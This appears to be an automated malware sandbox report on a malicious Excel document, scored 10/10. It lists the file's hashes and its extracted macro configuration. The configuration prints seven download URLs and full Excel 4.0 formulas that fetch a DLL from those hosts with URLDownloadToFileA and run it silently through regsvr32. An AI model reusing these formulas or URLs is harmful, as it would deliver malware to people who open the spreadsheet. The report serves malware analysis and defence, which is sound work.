General

  • Target

    8319a09ce657727b3ed566dbe409d230d939c1d18068a737435f256d95c526a5

  • Size

    19KB

  • MD5

    84f9c83d8aee068e3d0dd26c8235188a

  • SHA1

    90a46f5046011f7847eb8de50f1f172a6f1d6c89

  • SHA256

    8319a09ce657727b3ed566dbe409d230d939c1d18068a737435f256d95c526a5

  • SHA512

    1f32239bce03bb088f84bb99ccee37bcf5d687f4e96d7e48820ab1a66ba2528ed5aefc292ef617b491db2375778ce5b6b71e99fec6d6c1526bbac55bf8072077

  • SSDEEP

    384:6CX71V5r5UlIKeVBZqt7cV7onxa8Ip7xTGXi:6CXj95O/ecmVCxJIXP

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

Files

  • 8319a09ce657727b3ed566dbe409d230d939c1d18068a737435f256d95c526a5
    .xlsx office2007